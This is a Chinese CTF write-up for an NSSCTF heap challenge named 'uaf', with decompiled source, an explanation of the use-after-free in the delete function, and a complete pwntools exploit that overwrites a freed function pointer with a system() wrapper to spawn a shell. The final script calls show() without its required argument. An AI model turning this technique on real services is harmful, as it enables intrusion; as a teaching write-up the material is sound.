本文最后更新于:2023年3月10日 晚上
本题我在本机上使用的文件名称为uaf,题目于NSSCTF。
checksec:
1 2 3 4 5
| Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
|
uaf题,本题没有使用到char类型,不考虑canary的影响
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3[4];
v3[1] = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); while ( 1 ) { while ( 1 ) { puts("1.create"); puts("2.edit"); puts("3.delete"); puts("4.show"); putchar(58); __isoc99_scanf("%d", v3); if ( v3[0] != 2 ) break; edit(); } if ( v3[0] > 2 ) { if ( v3[0] == 3 ) { del(); } else if ( v3[0] == 4 ) { show(); } else { LABEL_13: puts("Invalid choice"); } } else { if ( v3[0] != 1 ) goto LABEL_13; create(); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| int create() { int result; int v1; char *v2;
printf("you are creating the %d page\n", i); result = i; if ( i >= 0 ) { result = i; if ( i <= 9 ) { v1 = i; (&page)[v1] = (char *)malloc(8u); if ( i ) { if ( i <= 0 || i > 9 ) { return puts("NO PAGE"); } else { puts("Good cretation!"); return ++i; } } else { v2 = page; *(_DWORD *)page = 1868654951; v2[4] = 0; *((_DWORD *)page + 1) = echo; puts("The init page"); return ++i; } } } return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| unsigned int edit() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 <= 0 || v1 > i ) { puts("NO PAGE"); } else { puts("Input your strings"); __isoc99_scanf("%s", (&page)[v1]); } return __readgsdword(0x14u) ^ v2; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unsigned int del() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 < 0 || v1 > i ) puts("NO PAGE"); else free((&page)[v1]); return __readgsdword(0x14u) ^ v2; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned int show() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 ) { if ( v1 <= 0 || v1 > i ) puts("NO PAGE"); else echo((&page)[v1]); } else { (*((void (__cdecl **)(char *))page + 1))(page); } return __readgsdword(0x14u) ^ v2; }
|
以及一个很重要的函数
1 2 3 4
| int __cdecl NICO(char *command) { return system(command); }
|
本题题目就是UAF,包括在del函数中被free掉指针的chunk后并未将指针赋nullptr,此时uaf就出现了,并且存在的就是第一块空间被free后,第二次申请空间如果申请的chunk与第一次相同,那么第二次申请的地址值与第一次相同(可自行编写程序验证)。本题属于ctf-wiki中提到的:内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
本题大家可能会注意到,很多函数都在对0进行特判。首先在create函数中如果创建一个0页的内容,在申请8字空间之后将其赋值为 echo_addr、”giao”,即准备在show调用时执行”echo giao”,即打印”giao”。而这样根据上段开头给予的思路,便可得到如下思路:
申请page0 –> 释放page0 –> 申请page1 –> 编辑page1 –> 执行page0(1)
UAF类型题会更多地出现重复操作的类型,本题exp也会选用函数式编程的形式去编写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| def create(): io.recvuntil(b'\x3a') io.sendline(b'1')
def edit(id, content): io.recvuntil(b'\x3a') io.sendline(b'2') io.recv() io.sendline(str(id).encode()) io.recv() io.sendline(content)
def delete(id): io.recvuntil(b'\x3a') io.sendline(b'3') io.recv() io.sendline(str(id).encode())
def show(id): io.recvuntil(b'\x3a') io.sendline(b'4') io.sendline(str(id).encode())
|
使用str(id).encode()原因是一是要能send出去,二是要encode为bytes形式,因为作者不喜欢各种各样的警告。
由此我们注意到应该覆盖什么内容呢?有人会说:前面写*page = 'oaig';*(page + 1) = echo;
,那我们写”/bin/sh”再加NICO函数的地址不就完事了吗?
注意审题!create函数只为每次申请分配0x8个字节,一个地址就四字节,前面写/bin/sh怎么会够呢?
于是,在此可以引入很多系统都会引入的一个概念:环境变量[(百度百科)](https://baike.baidu.com/item/环境变量#:~:text=环境变量(environment variables)一般是指在 操作系统 中用来指定操作系统运行环境的一些参数,如: 临时文件夹 位置和 系统文件夹 位置等。.,程序 而没有告诉它程序所在的完整路径时,系统除了在 当前目录 下面寻找此程序外,还应到path中指定的路径去找。. 用户通过设置环境 变量 ,来更好的运行进程。. 中文名.)。
在类Linux环境下用echo $PATH
便可查询,如
1
| /home/ubuntu/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
|
如此,在理论上,我们使用sh便可以一路搜索到/bin路径下并执行,那么payload就可以编写为:
payload = b'sh\x00\x00' + p32(0x08048642)
最终,本题的exp也呼之欲出了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
io = process('./uaf')
def create(): io.recvuntil(b'\x3a') io.sendline(b'1')
def edit(id, content): io.recvuntil(b'\x3a') io.sendline(b'2') io.recv() io.sendline(str(id).encode()) io.recv() io.sendline(content)
def delete(id): io.recvuntil(b'\x3a') io.sendline(b'3') io.recv() io.sendline(str(id).encode())
def show(id): io.recvuntil(b'\x3a') io.sendline(b'4') io.sendline(str(id).encode())
create() delete(0) create()
payload = b'sh\x00\x00' + p32(0x08048642) edit(1, payload) show()
io.interactive()
|